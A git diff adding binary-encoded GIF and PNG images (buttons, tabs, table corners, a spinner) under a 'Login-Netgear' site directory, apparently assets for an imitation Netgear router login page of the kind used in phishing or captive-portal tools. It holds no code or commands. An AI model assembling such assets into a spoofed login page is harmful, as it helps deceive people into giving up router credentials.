z;e{AxsNsejc8CB02z(eKh$5Cq;)x@sXrhWJuIOTmFtRA)i!;VZjGCk3oN&@9XPtQ7si&QM=Go_-eg+EYpnn!BXq#M0Fy^9+HtOi3kVY!$ Xq?A@_>7|%vs_CYjcIxS;5dZ)?Mpv*M literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundleft_update.gif b/sites/Login-Netgear/img/roundleft_update.gif new file mode 100644 index 0000000000000000000000000000000000000000..cca7b004cc7dfa7fecc3faacbadf2c7f20a7ea2b GIT binary patch literal 1330 zcmdUu>sJzX0ET~%Or11E%VVX5rSnobnvT@GTPQRW6mxl)qB*bSyrw&+Hbg~C%YmG- zB*k0aSb>zKmExsM!%pHA%e;_aU=|>j*TZW6#oqIr_w)1NeFLxyEKk+g_LIeJ*v@E*uBAoQ6LMdslm ztMJ}EgclZJ{kzW$TAg_gNK!zO?~Io0jF*`wEn0_kBcle9k;4an5!oe9IK~V)#E2bZ zh7X^YxF)}FP8xMi9`nxljKn)*(mQL)I%VD=NruXrL!~aFbEGGUTtXDzC+5NN_zp~B zhfkUq^V@j9#aGx%ucOG_DJkQz7rT=(2IDS{{F*+QeW5S&(zI8h%ImT=xL`6Qca)Gj zLChZ^klu-OOqC^^5DkHK~o|jHQBkd>FoK;in**xSvu!^cJ0#dP3k{dH)ti| zV%8X=RK;YdS*+!2*R|}Mo0RG)THRD$qny&Hpx=3y%hlxGRp;GZrtm(}1gfIemD0zn z6%DhDC!fk5t+F1k)^;h_JsXvMoAp9PlTgm-UuzKQ8lUT0hIH+N3h}gBBGoJ^7d|X0 zW@W0`1+DVER-<~itX|S;mNd&+?Xr4BtI}#$Hr79`uCK4HZ)|OC{5PflUs*N! zLtoUtd;%EgfX>j;eu&wfXJFgQGW7MdKuu><)vPm3*_lcxIlwf~eN{V!W$TjzbL zu%KqrKx@6|I_m5*HdgR$5EY%FoEi``yr}ZYTeqb1Ol!U;`6cYiqcMjX@U^&Gxckjx z1rFPqHV<26qHZeHIE;C`Y>CY zqT?UvGqdw-p>9Ft^;qU!(^MCO;I7WC4M*R`HH1xY^--QmDl)^pL*;HmAEL}q;pn#< z|NV7ydB#ToKi~1mYRvJkO+3h8JKV!wO1GgN{oB&HU*%_H+sG{b&Mh;?2l4}%Aid%$ zPuLZofI3oObeKJ~->LJQN(j+APN7)1qZRXI;b|B{{cvF_)$jn@Pvo>4>E;8220~@! zvDex|ag10z%*e(BAv)C2mnH;`da1MKrl*&r`G~X!S~l5CIpor^&Zg&(OV2KwDW_Z*82&S$ z0>z&!j0_B13_2iTkQodtO$H}Dvx6df&+dMHL%r^ng;;ZtO!n!0dOEwmoMCemyz_J2 zf9pBx++`lMxVt!V)ou$Zz1z-*6A0UEAOUqU(07|da(5T z>mNVo9C-ixe?wzab4wjtdq-ziCl?z7OaH_PlP58-aZQ`qH+$ABiJ1%f7BVnMatSh6 F0|20FRgC}u literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundright_button.gif b/sites/Login-Netgear/img/roundright_button.gif new file mode 100644 index 0000000000000000000000000000000000000000..cd41026a22cfe6234e5bb1797cc354998d166ab1 GIT binary patch literal 998 zcmZ?wbhEHb6k!l!_|5>&}KAXs9LYsDmBaHDh!IScuWq1 z#pkqn9To@_?l?UDmb)1Oygtw0P@Z7maA9EPknsq3 zu)mpuUo6JLV4+i+fUwh?jsm5l^1ou3{%Pttb{ SOR=21`0zCDd^sKt25SHmj3IIW literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundtopleft_table.gif b/sites/Login-Netgear/img/roundtopleft_table.gif new file mode 100644 index 0000000000000000000000000000000000000000..c1348db4eb320c450b6758e6612dd18d2fecafb5 GIT binary patch literal 89 zcmV-f0H*&(Nk%v~VGjTx0KxzOoSOXP;{3e2{QUm>?CSiaqWsLp{Os=hEC2ui01p5l v0009fIJzeA5Uk;%RixNG&i>T51>$CuR)wx?>%MR-&vb3yc&_jKng9Sh{f#ax literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/roundtopright_table.gif b/sites/Login-Netgear/img/roundtopright_table.gif new file mode 100644 index 0000000000000000000000000000000000000000..5ca1997556d711d6946a90cf215a96639dfc72f1 GIT binary patch literal 89 zcmV-f0H*&(Nk%v~VGjTx0KxzOoSOXP;{3e2{QUm>?CSiaqWsLp{Os=hEC2ui01p5l v0009f2)ZCPFtXX=ptBH&>F$$oflNR$#<>V;>%MR-&vb3yc&_g}od5tk#j$~pgcL|D&vb3ag#*7YT=>AA@Hh0`j>sEq5nwu-(5Ey?eFmV|skTbJGOysUcuX!E z2!?YSt!}g5>v-FcI42T>dmgXv^Z$E!b_9Wbg@A^McL@xQj*pO$l9K`qm6w*8n46lN zm6nwX0s;z_rKF~*sH>-^qYR?4u%xuHwYRph3cCUh3J1Huzrn=A#=^*=z!JO0&BD*k Y#nI9e0N2>r+S}aN9}?Z+;vW$JJH+^hsQ>@~ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/search_button.gif b/sites/Login-Netgear/img/search_button.gif new file mode 100644 index 0000000000000000000000000000000000000000..f2f48c5c438015fb354cae8e31e7456e6674198e GIT binary patch literal 319 zcmZ?wbhEHbRA&%lIKlt||Ns9lD|}X3@U)`%d1c9q>av%$6|d^6-Za&|ZK;3X*7%{L z`BQh>=iZL5{axQC_WYRA|8v^JUo)rtoiX|Mtf_zJ&iFrP`ahr{V8hS}#h)yU3=9$s zIv@#hkk{{BLM%YHq3LY47Ol z>h9_7;GQsX(&Q;qr%mLVIcxTux%1}F;#{Vc)WK+x8th zcWq_cyKn!2gNF|9V?B2K#K}{q&m3ntf8pY#%U7;mV7hVh*6llY@73w+We|qeKeeHyQ z?}mZ!h=cNrhVzYx^^c17k&O71kNK97`k9pdn3MaOmHnNV|D2cp|Ns900000000000 z000000000000000A^8LW000;OEC2ui0ABzW000I5AZCqZX`X1Ru59a$*d@<&ZQppV z?|e^Jz@TtQEEk zBlx_2&+q&HfPsR8dJu+(h>41ejE#InAt`1$(#{Qds_00ZJXK(L^}g9sBUT*$DY!-ob9 zNSsKqqQ#3CGiuz(u_MI-AVZ2ANwTELlPFU+s$40OfXkOKW6GRKv!>0PICH`jz_X{% kpFo2O9ZIyQ(W5>w3|Pvvsne%Wqe`7hwW`&n7(xI5J3Sum+yDRo literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/search_button_middle.gif b/sites/Login-Netgear/img/search_button_middle.gif new file mode 100644 index 0000000000000000000000000000000000000000..3d7d3b72b431eb75f28782810bfa813bdf575525 GIT binary patch literal 366 zcmZ?wbhEHbbYu`?IKlt||Ns9lD|}X3@U)`%d1c9q>av%$6|d^6-Za&|ZK;3X*7%{L z`BQh>=iZL5{axQC_WYRA|8v^JUo)rtoiX|Mtf_zJ&iFrP`ahr{V8hS}#h)yU3=9$s zIv@#8p)ZEg-*WS_D z)!ozE*Wb@OY4Vh*)27duIcpZr+{qT{yME*5t=o6*u-$*~@X_NZPoF)1 z&id;0o44=YfB5+66U*0c-+%o4_507?zf26wTrwUT794Em5KNLduwmihb^&FtIUa#Z IZ2}C|0H8?6Z2$lO literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/sel_win7.gif b/sites/Login-Netgear/img/sel_win7.gif new file mode 100644 index 0000000000000000000000000000000000000000..a919b00b4f16702e9815541303671381adf10962 GIT binary patch literal 1520 zcmeH`?N3v86vr=uv@ooth4N4|l)%`OIW6(-YQD2X0ZlCHvK8eFC#WLjLNB_t{!(EynWpc(?z;;0@+wFIgs zlzLpLB`bky0ICN{l3rZdOQ5}^0JR>|4Pxp+T-{5k2MP5st{WzF_ecl2VW7JQ3?@ux z0=h|{n<9a_88~1f1}2GtDZ(&?8)irc15+e$U#Gi9_=`w78%JhZa%@Xmvp=4z26Z zNQR7q#DMrN@w9jbz{V7G$bgmBbgn`&{4n3OqBYtq6GK-I49lx z(cv4>CmsSUd7 zXf@sUpVW~tzXMILeWs||s_m0ndG9$#P9$og6%$-eh$w2gqJ}Y)o^6#?z7TY^CD%T> zGEBSF)BUbV{z}Uh#Wr;MG0kXu&~)glyB7oELn3SST6-1zJWjJ+7`xZ+aMgC{L@n$0 zta^vRycBCE{DVWAR-!*Y{u;#t;nvr&Ox@F zPJ0M@jANBj);b&>?D!#01@~2}RD5lucX)F{}WZvNuStu9zyoQNK-MRI+4a(9o6tZXsy;Hr*$tsYAN`Ehu3|)_F-ge=q!@ZT(b2?y6d?~9o*Jn z{&rF;lmP6Jae+dw+~)KkHvO*Ya%e z=cC4h?P-XO&ln39zwMbDSeqX-UDJNa&%c|!%PUeT8uK}}T98OjI@5lK9~)}i$4n1< zUcQ&q9`adne`n0U71J@haQ4EN841Yoe*xUJVe$X~ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/subMenuActive.png b/sites/Login-Netgear/img/subMenuActive.png new file mode 100644 index 0000000000000000000000000000000000000000..707d7ab28612712d7ea191816d887480428dfdc8 GIT binary patch literal 793 zcmV+!1LpjRP)^aayUPwXof z=FU(>75sdwzqxVzXlG7DstI$_9l*FRDg7iyrB4-4xieHj)qnY^zxmDJ(axLz&8Cr{ zk1v_hp^BFyPwpQ7^-llWjlrM&3!pX{*-27RqEoyQL1&0jl-pbV&5eWmzxRSxjYa}U zBA#`D#T$)ejM2<~yZhkDFnw^jv3f1WaFkLg(J4+rGK4_-gZn#=_ooi_o7ZkkH5#cj ztm1Se0hyT4p+MqOLU5t6A?25^upV-AFZ~RJ{;Dgqm(L8f)YR!J^8;Xf1kxus^Zz` zvUq8J^?GM+em9w=T#*vSfk7ler$~gLe4ZBoRK;>Om-m(~uC2Fvy@v*jMiqz<@b4`X zbB2h7s#8|I3IM8-QYPin(!$F6&ee{B`Is|#h3sBGXUOh9dxD-&84nm_-C#CKhwPbXFRCt{2+~03hMHC0{@AsU!vv<4OZ4oRGV=!W3AVsm5kPt)S zi+{1c>4Q%iF$Ixmj2Q3%N)Ra9-R|DI^W*r?f>3IyPsQwfp6|mvd^2Ze?#$uSr}oz) zOvb1LsxX5Q#T+7GL<~@g{lT#APQpw=P<1A>SHE}76r(L{ZNgV@iky&%5}tWP7?C3c zl9Ce@=PhSLg1LPn;YK6-=BwLV!`6ET0QRlpF#Hmj=SrZ5AAzS8lyeQ-~nYz~$O zZO7#hH5*AhU(*Nx5TqXAaEmtwiJYJn(4-#gU zEq8l5+M4}xvuP$vm9namWwQ*F=oAMaL{+zjqo3CA{dy~fS;wh~!a$Vh6bGjTB1`Nf|+^mCfn`z-`=@%$G5E`OTj7*$IQIf=_G#r<=rQb`#@EqQyi9=fkx_+ z$90TSqEq|_1Tqirs1EMA9%C}S`(o;{CVe-a~7D$ywpM1n-K9eRuY^3|24V?$~V zK@2Pft9XqV^Wt*&|;;<=rzA(!x{;h#K(EBM6rh!Yqp(Pw`QT zsXQE>b0VCzNz`4ubn4=#6*-#CBtztd$9p?mr-R<2-x@xwyAJ4D4vgtv6#p2u>9{eNtXb2On(M{f*Kjr2q&Ba)RZ&Fc_UYG4>s6TD1&yyKOFBYFAKq yu{eNAY0WhE2oNa&$o*dQogAX1#A?6X0Qej0UgbH!;12bWhHZF&54PNdGhRui<=7r2G9YC zfb=r3d=)t1xq7d~>$AK6CusDgWX{W2wJzuNz5<=|CAs%2*1fNJ|Np>(0uLRj{u4`z zPUcw6zp$djYi-o}8*9o=zpdK;U_*tE-t6-)wp5+X+kOATjvBx9x8MKRQ+NLT@Ba;r zP0cN>ZS5VMUEMvsef<+APMSPr>a^)IX3m;DXYRcD3l=U~ykzOJ$dGXcJA7}XYaoK2M!)Oyo>$F@e?OyI9X4fJAaau?ZTC-`xrS`uHC+~nT3Oc z@$Ta%t5_d!a6WzgW{DaNa8#r6c6&x7r QIF!9&4*M+J$H8C?0Al!~6aWAK literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/subhead-top.gif b/sites/Login-Netgear/img/subhead-top.gif new file mode 100644 index 0000000000000000000000000000000000000000..eb0555d32b036ed32a92b23a4dfc1efd92c49516 GIT binary patch literal 324 zcmZ?wbh9u|e8Qx_@R)%?MM12bWhHZF&54PNdGhRui<=7r2G9YC zfb=r3{1iCZ>0_zz`t0ui2^xJVne#GMt;>16uR!N~N$&lMb?fwrc-_4HZ6mv(uX%9;nFMegDIb8o%}LIhapfJNN$g|Axk< zX5CC7#+J^m?w;Phe(MO1oC#B>O`kDyRsoCX?D-28E?T@qpOJOx%2lh^tnC(Gw{g?v zEn9=Dx9!}ud(Yl|`wtvEboj{8W5-XNJazia*>mSFT)cGo%GGPvZ`{0f`_A2a_a8ib z^!UlsXU|`}eD(Ux+js9jeEjtJ%hzw;fBgLQ`_JEh{~4IMWIQ%3IM~b~tQB)&!@|Su U0?J-Ym(VNg~V$Aonbx@;U{;6TOlAtDCD=O}1K20CVStQ*@< zOf*wOC7J1_GH~IKX>n>|kZpc!{!AXjM-!|C&yct+Sb`OtasScQZsVO?#ak1$xcnn zZzw1!ud1uBOV4Y1ym5=WthTNiX>~fY(Yz`qW>s}&T4wdX-U6r4VF1J;af9H7D4Jm- z6iQANiGY^Y@T;^MvZw(H(KN--EXy$XXLjN>V6?0*E;%DYpI@O^w#|^T`@kV({KjL0 z#)6@Vgw>UedpMP8k@@BrYvOX-Ei3G6ZeN?4=E&TXm3_zNoZP~qdyDTYxxcikx@JqQ ztFFH3kw>>T?|97Jx_96HwkMxzfA0B?7dl^j>E*7&ufFzr_mQ67H{N{9*Z=nMciw&P z#K}`1e)RDtr_X%$`S2HCes%WT$mqA2(ebjnUKrMp4G0c1Z z6X-e2bC3fcfL4j#r`l+uF@|K26$%%Q6qOAP2gyScLb*>WhoA02>zuSp z9`O!SW=3}qlBfkjAI`<{5axr|mzn?Z3p&pdAB;oZFr1MUN9Z3`tOSQg-w!Fo_!RUh zul6#(@KNM=ry{SyPi^-`I4M!A1i_LHq3oM+^|#7^k>M4-05#T7C|=S z$q8L!vlKh!7%{@MZ#PUt8AV&pelc}AYWE#5c~B&CpdEE6j5 zT={rQ2U-tnr_xn$RAz54&K^aNhHka&@H3NAL+Zohh7NH?ioJzo;iR|o?H}=&7Ofd5 z(Ilj8{{81;{E;a2ua{ACi yEq%PnCh3-g9Ea0)r5{RyjmSWby-z$oK8z}*+$tm|x4IT`>&7h7PJ2Ll5GD}xjxD+42towY!FBQVvv3q9gvurSEA?V8lq5UtY@lc zXaJOLo5aK*2UJrB#310~>gb{nlA4^6m!FfLo|#&#;F*`Krx0eSXJ80)iF;N$`UAd82aiwDF383NJD#LCRf z%Eivc4pu@E@&5pWAP3`KrY>eiB?cxzMrJ|A|3?_)fgWZBI}hYuA(D}^FKu5CzT?|xR3zTPI5o8roG<0MW4oqZMDikqloVbuf*=gfJ(V&YTRE(2~ znmD<{#3dx9RMpfqG__1j&CD$Muc{znDOAzz*^k zBU3pLGYhh?DjKp0IR>&P778mFHFAhJOe65s#iL;`ng&MGz-Ss6O#`E8U^ESkrh(Bk eFq#HN)4*sN7)=ACX<#%BjHZEMlLnao-vj{Xlg)ep literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/subhead2-bottom.gif b/sites/Login-Netgear/img/subhead2-bottom.gif new file mode 100644 index 0000000000000000000000000000000000000000..9ddbffd9689c17db1882c36a00deb622b5e03812 GIT binary patch literal 2308 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 literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/tab-nonactive.gif b/sites/Login-Netgear/img/tab-nonactive.gif new file mode 100644 index 0000000000000000000000000000000000000000..a87f4f88ab51e2a6cd5625225dbedaa14b7fd031 GIT binary patch literal 1014 zcmZ?wbhEHbJi#Ex@SOn!O3F(9|NjqWjuN9GFtS2G@h1x-1H*p?9gw#{d4hrCG6O5e z4|RctgUuYmS}`X!EIiyUpzJlrW8F zp3cU~_vFW>WoKtw6u-JN(lq(=H}<;=jiC@>FMeJ|NsC0 z|NsC0EC2ui0D1ys000L5K!6ZKEEby1l+(S{HL{nP|nI#-PW`%FV>iYs}Bn z(a_1%#EHLOwAk)E%a_PvN^40I z=1iN`ED}>-(4_tmkUoP7<df*eO$A1KnKe=-^L=A3Sxt>*Pne6IVaJ z{YUqQr#CZoy?*xlxvRTjAMQK+|5oq^U~o(6#F%R6VYS?V40<78gN-Cb)`9p{XrFyb z%g zm})W+|OXr)bpO39nd#QEr{kY)+WrI1i6s%xwo8mnQmMkvUwxaO+suDtf@ z>#x8DE9|hu7HjOW$R?}ovdlK??6c5DEA6z@R%`9G*k-Hkw%m5>?YH2DEAF`DmTT_0 z{^+Kw?z-%@>u$0Iy({m$>4t#Az4+#<@4o!@>+in+2Q2Ww1Q%>Dz#-sj@4*Z=?C`@7 zCrq!eGL)c&3Mya#@x~l??D5AShb(dc0RWJJ3?iqj^2#jZAVUTKlzei_G}lb<%P|LF zbIl}Ye6Pkk2QBo_M2}2C(MTtqG6ew~t@P7N>kReB0r(8`)L3V&^~eiv?e*6o1km-@ zWCt8}*$r2X_S$T>Ep^*)5B+xBaL-M*ziQvD_ufI<&G+9O`wh6(f&-rS;D{&waN&wK z4lv`67Y+H|hevMt<@ipHdE}aJPIKpUSMK@fgM&`G;ipT^xeBSbPPyxtn+|*a;H%GW z``WVK&UWs)r(JvRz+=sO@Lms3{J_SSE&B1y@0@(|Pd^VmztR`a`t;bhTz&RJZ_mB= zSufB1_#6w4vdj0LuYUUMqwoIu@3#;C{PNcy|NZpiZ-4&$@9)3<06d@h{@1?%67YZq zOke>Qh`@V+Pk7fOp9IS{LEKf)ca9U^1veP52XYW(9wgrRa1g@iMeu_t{MP^#h(HFi z@P#gnVGCyn!~d;NhBeF~4tGey{OPNNO4DEphe$#q3eSl98etJLctRu+5r|GS7!+rx zLB?B*aE%Ok)&#!jXa%MeizN9MFpWdsjaDA&>-AdQE)^)CS%`0B_de^?{m0)B= z+)dR=y0j7&2Zl{yVB4A4!ve0cXN4>W7yDSrI#zF%ovKlRYE>K%6|0xsYH0tJ+3dBI zvVR-wXd_ozrM9+toL#GDpSs%1y>_R!4PI>Zg<8I;wzd-m?pP~mSAg|)Z@(38JC!S2 ze*N{ie1)!Gqf6cCTKBIE%dOUu%Us`f_g>m1URx2%{@U<UYzf{VD8r%5BIL@(-cg*7+ z`&raf z46p^8*}-RKu$qtTuOn-@W)v3l*4{iwI!BJpt1 oE6J#SC##K^;od>|U%Q=ktWT%wA(}PQoDMdyrOPlkTP_FyJAL%V+5i9m literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/title.gif b/sites/Login-Netgear/img/title.gif new file mode 100644 index 0000000000000000000000000000000000000000..f92b59665df2fd0d1c5e798af0945d14daa880bc GIT binary patch literal 317 zcmXw!J4?e*0EI8wN-32h7TQhgQjvln@ljoL@C8l|R^8kj6#5fHry?#Er!G$Z0e^zs zG`(qJ;%%Db=Jw|1)uw4iH`{{Wa5x+e2hQQ~!B*)i4zfT7Ac~^laMaX1K}04b%WX}Ye94MPwF)JDW42FALk8HT|avmJZ1Lc3i`yOJcip7+J`vMh_D zG|8yn^VidsEfmtRdOgm? IU-!VyACo}9@&Et; literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/wait.gif b/sites/Login-Netgear/img/wait.gif new file mode 100644 index 0000000000000000000000000000000000000000..9337ee21620980bfde003a51a2e54f074419d968 GIT binary patch literal 6337 zcmaKwX+RU#-o|IkWU`PlP6Dp`|Y>h-riq+`Q_HFTbC|fdiwO~z`(#y zKmGLR(W8eCAAa%07eD{}^X=QWySux;`R1D+fBfG^{{x84$^84?n?#`V%9*<|!rcHP6-u3(a=gyrw zd-m+tUw{3{C!gH7al_~H_4M?dJbBV?x1Tz7>cWK!SFc_@bLPxvpM6$eUvDy*y1Kf~ zpFdw*Tzu@(;HGe){RPYu8q-TD5ue=DBm{UcY|* z^UptDxpHM=V`D}}#+o&2KK}UQqeqWsWo6BoGpDn&v!kQKX0ur=mfgE|&!0bk_3G6P z4Gq!J(Qm%_=HkVR_wV0dTU)zj%a$24W=xzo@z9||)z#J8wry)}Zgw~vO-)Vv_U&tF zY1zAX@8QFTmn>PL)oSbN>e|}cKK$^*BS((J#>OsRzC154@1OttXHij+)oQJ&si7!} zAc)r1*0{(dgTauQnYn)b`bm=}&6_vxAOHBr`0?Wv3dNp1dloHPq*N;3c;k%^KKP)puyE

%n z3JQcm;ktF}+S}X3V)59qV>uj-R4NS(4NXZ&2@4Ao2n4~w!O6+Vd_JGYSx*v!r^L(__U1skFmY>dlxXP302hZVG6*nkA9=L0}Vn@cgl2zB&=rA*jMg0D5z( zZ_0vVD+p6BX7Ln(>3)ZCchs$jvfrmIDE$AL9mhgO!pKzL z(StHg%vf-j) zBY+S-=lM140>a8ll00|kz#FTwac!al3Z78lS99ae$a_F2RSATqo)J(?MF*hC%Bpr- z7zHyMu&7bJC#c3>$2)Dj$wSBm(O66lh!h2c0n9TR!u81n*#kxefQN;#mFGq3N!+S~ zS_bv$lMhh_^1om~00g8X-z%`cjDR&cL6{MoP*QyHg0~I=d#gzYHFgpUO@Ao_9#DC! z<=EL|UNOteEV*>(Nulx3D%mfK!m4X&VIEuRtR%{W;^>>CV<6HlLzURpQIO2izbvv0{t^#N^Y2b;q z+E1<$8%widgFc>AV0hq#cCupVW66($#@eOxyUzeIrBLa@J|l}GeC|?f@RJk(MVAD; ztOu-eOH^$OV9w%n5I#mto*!Z*NGrd_#x^-YHM={ckgIW$ATxcy?`6sy25`d=fVXN4 zK))_aTJ1M;hR#wDOGIXCMMZlLfSjlekKMruo!>UHGmlhE<0f(m9EmHTV{{pNQys#I zt5FXtVO`N3O8neiG+9*AH=TMNOMv}~Wp~Y$5te*;9%=A2E*78@UGI*t9A}qudmnRb z6sN9Yt+e{Uj4;MftqPjib>A9$cNS0Ssn`^;KK+qRu;AJCw%PHk?`&}~rYIz8vAF8^ zfo3VlFB>TJsExeh$}dE!>yWo4scQ%mc^*5$Ein^c40pN}wQdUl!n`PnY}w|m4;SViDKNIWpMj|H&Kp46WrsXs7HaZ4J@AjLh!PjE z@l#L-iD{>#DhgzBjt3_g8ln8nG9c#%e|n8g1T7>VUHfiaK_r{qw`yTNK5>5N z%CK*iIHck1Ncxz-_d^%Bd1uXBpb+W6qAmjKUJ|f{pULV~Xv(#@>w|PYKZr0|`p!y7 z`>CnD5Ie5(`Orq|LVC70Y{Q;jjUVJBP4&CnDeCx)+I9NVXXcrx?JanO?mb19b(=V9 zEElJYG68?;N+Yc@0t^t9>i|}IwZj)AqzRfv6@X_0gKOyF<~?_tp&MgF4_)-IWFF$RC}MtO`g9_gul*5v)~m< zRop9-;8PPxs&~!fqZ3KZh>sJGq+rAD_-mUR=9|_^JE7}Q*ic2s;@`aYt@A$UJ|a@J zPQ~Mf)+yCO?|f%|>yjicMFQOCsatpJtE;_r_8_L^-^Us>a6=;M?oOBc z?wdK~r+cD1iHo5`+HwRq5tFD6S}w&J_Af2k8^n-R>t*t6>`V5Od%p!&+~C#->`wi4 zZ%oLW6}pMTM(8(h^xTj*g>i)!0yAnPzx9;4-J$slTmd6;A)oz;GHA)dkG9*0bl?pXkaM=BPb-})R2bt=6It#n<*gx z#+0uJt(BeV0(J~3sAyme=%OK*;hzh^0>Hd|%AFHtv}&E)Gi%Ii&2-lM*Uav+ue^1z zS}Cda*T-6dilwxQMEEegYRWEx?Aj9}W!|taD1WdyW_EesQu1;5jwXnSsRiEqo5rLb z?u*cNv$4HU8J2g9&I!{^dpbVv_tBtdE1YIjEjguS6Y`0}0}cI?k55c|8ZSxs=?6C= zJLxi{Jaq36BN$Yi{KULXSy?0#7y=-RKR&ai`)`sLp1fE!(geD+yih#%#1FJGm^Ki(2Osr&4`YExMq>u$b&Wg7j#Sq#aym+Xa3oKSXnqGHfqnQ_`xlc=BMYRdez1sbcJb#mOe;)QszpAiKb9Q;h?h8?s+MENa}*4T02`q)nEY$ 